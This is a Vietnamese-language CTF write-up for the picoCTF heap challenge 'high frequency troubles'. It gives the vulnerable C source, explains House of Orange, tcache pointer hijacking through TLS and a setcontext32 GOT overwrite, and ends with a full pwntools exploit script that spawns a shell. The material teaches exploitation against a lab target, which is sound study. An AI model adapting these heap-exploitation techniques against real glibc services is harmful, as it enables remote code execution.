pwn - high frequency troubles

November 4, 2025 October 8, 2025 Hard
Author Author Hung Nguyen Tuong

GLIBC Version

Chúng ta cần lưu ý về phiên bản tương ứng của glibc để có thể debug local. Với file libc.so.6 được cung cấp, ta sẽ sử dụng glibc version 2.35:

ubuntu@hungnt-PC:~/ctf$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.3) stable release version 2.35.

Chúng ta có thể sử dụng Docker image hoặc tải loader binary cần thiết:

ubuntu@hungnt-PC:~/ctf$ patchelf --set-interpreter ~/glibc/2.35/64/lib/ld-linux-x86-64.so.2
ubuntu@hungnt-PC:~/ctf$ ldd hft
        linux-vdso.so.1 (0x00007ffff091a000)
        libc.so.6 => ./libc.so.6 (0x00007bf6d3400000)
        /home/ubuntu/glibc/2.35/64/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007bf6d36c3000)
ubuntu@hungnt-PC:~/ctf$ ./hft
PKT_INFO:[BOOT_SQ]
PKT_INFO:[PKT_RES]

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

enum
{
    PKT_OPT_PING,
    PKT_OPT_ECHO,
    PKT_OPT_TRADE,
} typedef pkt_opt_t;

enum
{
    PKT_MSG_INFO,
    PKT_MSG_DATA,
} typedef pkt_msg_t;

struct
{
    size_t sz;
    uint64_t data[];
} typedef pkt_t;

const struct
{
    char *header;
    char *color;
} type_tbl[] = {
    [PKT_MSG_INFO] = {"PKT_INFO", "\x1b[1;34m"},
    [PKT_MSG_DATA] = {"PKT_DATA", "\x1b[1;33m"},
};

void putl(pkt_msg_t type, char *msg)
{
    printf("%s%s\x1b[m:[%s]\n", type_tbl[type].color, type_tbl[type].header, msg);
}

// gcc main.c -o hft -g
int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    putl(PKT_MSG_INFO, "BOOT_SQ");

    for (;;)
    {
        putl(PKT_MSG_INFO, "PKT_RES");

        size_t sz = 0;
        fread(&sz, sizeof(size_t), 1, stdin);

        pkt_t *pkt = malloc(sz);
        pkt->sz = sz;
        gets(&pkt->data);

        switch (pkt->data[0])
        {
        case PKT_OPT_PING:
            putl(PKT_MSG_DATA, "PONG_OK");
            break;
        case PKT_OPT_ECHO:
            putl(PKT_MSG_DATA, (char *)&pkt->data[1]);
            break;
        default:
            putl(PKT_MSG_INFO, "E_INVAL");
            break;
        }
    }

    putl(PKT_MSG_INFO, "BOOT_EQ");
}

Mitigation

Solve

Nhìn vào code, chúng ta chỉ có thể malloc, không có hàm free nào được gọi, và chỉ được phép đọc từ offset 0x20 trở đi trên mỗi heap chunk (ngay sau con trỏ bk). Vì vậy ta không thể leak fd/bk của chunk khi nó bị free vào bin như bình thường. Chúng ta sẽ áp dụng kỹ thuật House Of Orange để ép ptmalloc giải phóng top chunk, từ đó tạo điều kiện cho các thao tác tiếp theo.

Biết rằng, khi chunk được đưa vào large bin, ngoài fd/bk còn có fd_nextsizebk_nextsize nằm sau đó. Vì chỉ có một largebin chứa các chunk với nhiều kích thước khác nhau, fd trỏ tới chunk cùng kích thước kế tiếp, còn fd_nextsize trỏ tới chunk đầu tiên có kích thước lớn hơn, lợi dụng cấu trúc này ta có thể leak được địa chỉ heap. Việc leak libc khó hơn vì chúng ta thể nào đọc được fd/bk của chunk hiện tại.

Dựa vào gợi ý của bài, ta cấp phát một chunk có kích thước lớn hơn mmap threshold; chunk này sẽ nằm trong vùng nhớ giữa heap và libc:

Vùng bộ nhớ này không chỉ chứa dữ liệu heap mà còn bao gồm cả TLS (thread-local storage), điều này có thể xác nhận thông qua con trỏ fs.

Đáng chú ý, bên trong TLS có một con trỏ *tcache_perthread_struct, trỏ tới struct quản lý tcache nằm trong heap.

Chúng ta có thể xác định offset của con trỏ này tại offset -0x48 trong TLS, nó trỏ tới tcache_perthread_struct ở offset 0x10 trên heap.

Từ đây, chúng ta có thể overflow và ghi đè con trỏ *tcache_perthread_struct trong TLS bằng một con trỏ tới vùng tcache giả mạo trên heap mà mình kiểm soát. Từ đó cấp phát bộ nhớ và ghi tuỳ ý. Với heap leak từ trước, chúng ta có thể dễ dàng cấp phát tới khu vực chứa các con trỏ fd, bk của chunk nằm trong small, unsorted hoặc large bin để leak địa chỉ libc.

Do binary đã bật full RELRO, chúng ta không thể ghi đè bảng GOT trong binary. Tuy nhiên, file libc được cung cấp lại chỉ bật partial RELRO, nên chúng ta có thể ghi đè các entry trong GOT của libc.

Theo bài viết setcontext32 của tác giả pepsipu, chúng ta có thể đạt được RCE dễ dàng khi có lỗ hổng ghi tuỳ ý bằng cách ghi đè GOT của các hàm trong libc để chuyển hướng thực thi tới hàm setcontext+32. Khi đó, hàm này sẽ tải một cấu trúc ucontext_t giả mạo do chúng ta chuẩn bị, chứa trạng thái CPU tùy ý, với con trỏ lệnh rip sẽ được thiết lập để gọi tới hàm mà chúng ta mong muốn. Để tìm hiểu chi tiết hơn về kỹ thuật này, bạn có thể tham khảo bài viết này.

Script

from pwn import *

# Các hằng số cần thiết
HEADER_SIZE = 0x10
MIN_CHUNK_SIZE = 2 * HEADER_SIZE
FENCEPOST_SIZE = 2 * HEADER_SIZE
TOP_CHUNK_SIZE_1 = 0x21000
TOP_CHUNK_SIZE_2 = TOP_CHUNK_SIZE_3 = TOP_CHUNK_SIZE_1 + 0x1000
HEAP_METADATA_SIZE = 0x290
PAGE_MASK = 0xfff
LEAK = p32(1) + b'\0'

p = remote("tethys.picoctf.net", 54895)

def malloc(size, payload = p32(0) + b'\0'):
    p.send(p64(size - HEADER_SIZE))
    p.sendline(payload)
    p.recvline()
    p.recvline()

def pad(mode, size):
    return p64(mode) + b'A' * (size - MIN_CHUNK_SIZE + 8)



print("=" * 70)
log.info("Khởi tạo heap và tạo top chunk đầu tiên")
print("=" * 70)

FIRST_MALLOC = 0x20

log.info(f"Cấp phát chunk kích thước {hex(FIRST_MALLOC)} để tạo top chunk 1")
log.info(f"Top chunk 1 ban đầu có size {hex(TOP_CHUNK_SIZE_1)}")

# Tính toán lại size của top chunk sau khi trừ đi metadata và chunk vừa cấp phát
TOP_CHUNK_SIZE_1 = (TOP_CHUNK_SIZE_1 - HEAP_METADATA_SIZE - FIRST_MALLOC) & PAGE_MASK

log.success(f"Ghi đè size của top chunk 1 thành {hex(TOP_CHUNK_SIZE_1)} (thêm PREV_INUSE là {hex(TOP_CHUNK_SIZE_1 + 1)})")

malloc(FIRST_MALLOC, pad(0, FIRST_MALLOC) + p64(TOP_CHUNK_SIZE_1 + 1))



print("\n" + "=" * 70)
log.info("Cấp phát chunk lớn để giải phóng top chunk 1")
print("=" * 70)

SECOND_MALLOC = 0x1010

log.info(f"Cấp phát chunk kích thước {hex(SECOND_MALLOC)}")
log.info(f"Top chunk 2 mới được tạo với size {hex(TOP_CHUNK_SIZE_2)}")

# Top chunk bị trừ đi FENCEPOST khi được free
TOP_CHUNK_SIZE_1 -= FENCEPOST_SIZE
log.info(f"Size thực của top chunk 1 trong unsorted bin: {hex(TOP_CHUNK_SIZE_1)} (cắt ra 0x20 cho fencepost)")

# Tính toán size cho top chunk mới
TOP_CHUNK_SIZE_2 = (TOP_CHUNK_SIZE_2 - SECOND_MALLOC) & PAGE_MASK
log.success(f"Ghi đè size của top chunk 2 thành {hex(TOP_CHUNK_SIZE_2)} (thêm PREV_INUSE là {hex(TOP_CHUNK_SIZE_2 + 1)})")

malloc(SECOND_MALLOC, pad(0, SECOND_MALLOC) + p64(TOP_CHUNK_SIZE_2 + 1))



# Leak heap address từ fd_nextsize
print("\n" + "=" * 70)
log.info("LEAK HEAP ADDRESS")
print("=" * 70)

THIRD_MALLOC = 0x1010

log.info(f"Cấp phát chunk kích thước {hex(THIRD_MALLOC)}")
log.info(f"Top chunk 1 từ unsorted bin được chuyển vào large bin")
log.info(f"Top chunk 3 mới được tạo với size {hex(TOP_CHUNK_SIZE_3)}")

TOP_CHUNK_SIZE_2 -= FENCEPOST_SIZE
log.info(f"Size thực của top chunk 2 trong unsorted bin: {hex(TOP_CHUNK_SIZE_2)} (cắt ra 0x20 cho fencepost)\n")

malloc(THIRD_MALLOC)

# Cấp phát lại top chunk 1 từ large bin để leak fd_nextsize
FOURTH_MALLOC = TOP_CHUNK_SIZE_1
log.info(f"Cấp phát chunk kích thước {hex(FOURTH_MALLOC)}")
log.info(f"Top chunk 2 trong unsorted bin không match exact size")
log.info(f"Ptmalloc sẽ tìm trong large bin và cấp phát top chunk 1")
log.success(f"Top chunk 1 trong large bin chứa fd_nextsize hiện đang trỏ đến chính top chunk 1\n\n")

malloc(FOURTH_MALLOC, LEAK)

p.recvuntil(b'PKT_DATA\x1b[m:[')
TOP_CHUNK_1 = u64(p.recvn(6).ljust(8, b'\0'))
log.success(f"Địa chỉ top chunk 1: {hex(TOP_CHUNK_1)}")

HEAP_BASE = TOP_CHUNK_1 - HEAP_METADATA_SIZE - FIRST_MALLOC
log.success(f"Heap base: {hex(HEAP_BASE)}")

TOP_CHUNK_2 = TOP_CHUNK_1 + 0x21d60
log.info(f"Địa chỉ top chunk 2: {hex(TOP_CHUNK_2)}")



print("\n" + "=" * 70)
log.info("Tạo fake tcache_perthread_struct")
print("=" * 70)

FAKE_TCACHE_ADDRESS = TOP_CHUNK_2 + HEADER_SIZE
FAKE_TCACHE_SIZE = 0x290

TOP_CHUNK_2 += FAKE_TCACHE_SIZE
LIBC_LEAK_ADDRESS = TOP_CHUNK_2 + 0x10  # Địa chỉ phải aligned 16 bytes
 
log.info(f"Cấp phát fake tcache size {hex(FAKE_TCACHE_SIZE)} từ top chunk 2")
log.success(f"Địa chỉ fake tcache: {hex(FAKE_TCACHE_ADDRESS)}")

# Tạo fake tcache với entry đầu tiên trỏ đến libc
fake_tcache = b'A' * (48 + 64)  # Fake counts
fake_tcache += p64(LIBC_LEAK_ADDRESS - 0x10)  # 0x20 bin entry -> libc address
fake_tcache += p64(FAKE_TCACHE_ADDRESS) * 10  # Các bins khác trỏ về fake tcache để có thể ghi đè lại tcache sau này

malloc(FAKE_TCACHE_SIZE, p64(0) + fake_tcache)

log.info(f"Top chunk 2 sau khi split: {hex(TOP_CHUNK_2)}")
log.success(f"Địa chỉ {hex(LIBC_LEAK_ADDRESS)} giờ chứa libc address")



print("\n" + "=" * 70)
log.info("Hijack tcache pointer và leak libc")
print("=" * 70)

FIFTH_MALLOC = 0x22000

log.info(f"Cấp phát chunk size {hex(FIFTH_MALLOC)} (> mmap threshold)")
log.info(f"Chunk này nằm ở vùng nhớ cao, cho phép ta ghi đè TLS")
log.success(f"Ghi đè tcache pointer trong TLS thành {hex(FAKE_TCACHE_ADDRESS)} (fake tcache)")

# Tcache pointer nằm ở fs_base - 0x48 (có thể khác tùy môi trường)
malloc(FIFTH_MALLOC, p64(0) + b'A' * 0x236d8 + p64(FAKE_TCACHE_ADDRESS))

log.info(f"Cấp phát entry đầu tiên của fake tcache để leak libc\n")

malloc(0x20, LEAK)

# Leak libc address
p.recvuntil(b'PKT_DATA\x1b[m:[')
LIBC_LEAK = u64(p.recvn(6).ljust(8, b'\0'))
log.success(f"Libc leak: {hex(LIBC_LEAK)}")

LIBC_BASE = LIBC_LEAK - 0x21a2e0  # Offset có thể khác tùy môi trường
log.success(f"Libc base: {hex(LIBC_BASE)}")



print("\n" + "=" * 70)
log.info("Sử dụng setcontext32 để đạt RCE")
print("=" * 70)

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    """Tạo ucontext structure để điều khiển registers"""
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)       # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # Return address
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b

def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )

libc = ELF("./libc.so.6", checksec=False)
libc.address = LIBC_BASE

log.info("Chuẩn bị payload setcontext32 để spawn shell")

dest, payload = setcontext32(
    libc,
    rip=libc.sym["system"],
    rdi=libc.search(b"/bin/sh").__next__()
)

log.success(f"Địa chỉ destination cho setcontext32: {hex(dest)}")



print("\n" + "=" * 70)
log.info("Ghi đè setcontext entry và mở shell")
print("=" * 70)

log.info("Tạo fake tcache mới với entry trỏ đến destination")

fake_tcache = b'A' * (48 + 64)
fake_tcache += p64(dest)

malloc(0xA0, p64(0) + fake_tcache)

log.info("Payload bắt đầu với 0x10 bytes 0, nhưng ta chỉ ghi được từ byte 9 khi cấp phát")
log.info("Vậy, ta cấp phát size 0 và ghi từ byte thứ 9 của payload")

malloc(0x10, payload[8:])

print("=" * 70)

p.interactive()